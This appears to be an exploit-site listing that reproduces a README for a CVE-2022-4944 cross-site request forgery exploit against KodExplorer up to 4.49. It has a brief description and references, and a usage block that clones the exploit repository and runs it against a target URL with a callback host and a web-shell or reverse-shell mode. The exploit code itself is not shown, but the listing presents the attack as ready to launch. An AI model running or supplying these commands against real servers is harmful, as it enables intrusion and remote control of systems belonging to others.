Exploit for Cross-Site Request Forgery (CSRF) in Kodcloud Kodexplorer CVE-2022-4944

Name: Exploit for Cross-Site Request Forgery (CSRF) in Kodcloud Kodexplorer CVE-2022-4944
Rating: 5 (283 reviews)

2023-04-21 | CVSS 5.0

## https://sploitus.com/exploit?id=670ADBFB-1F8B-5C33-8F3A-BD3A24F3D671
<h1 align="center">「💥」CVE-2022-4944</h1>

<p align="center"><img height="600" src="https://raw.githubusercontent.com/kalcaddle/static/master/images/kod/common2.png"></p>

## Description

A vulnerability, which was classified as problematic, was found in kalcaddle KodExplorer up to 4.49. This affects an unknown part. The manipulation leads to cross-site request forgery. This vulnerability is uniquely identified as CVE-2022-4944. It is possible to initiate the attack remotely. Furthermore, there is an exploit available. It is recommended to upgrade the affected component.

## Demo

![demo](demo.png)

## Usage

```
pip install requests
git clone https://github.com/MrEmpy/CVE-2022-4944.git
cd CVE-2022-4944
python3 CVE-2022-4944.py -u http://TARGET.TLD/KODExplorer -lh LOCALHOST -m MODE # webshell/reverse mode
```

## Reference

* https://vuldb.com/?id.227000
* https://vulners.com/cve/CVE-2022-4944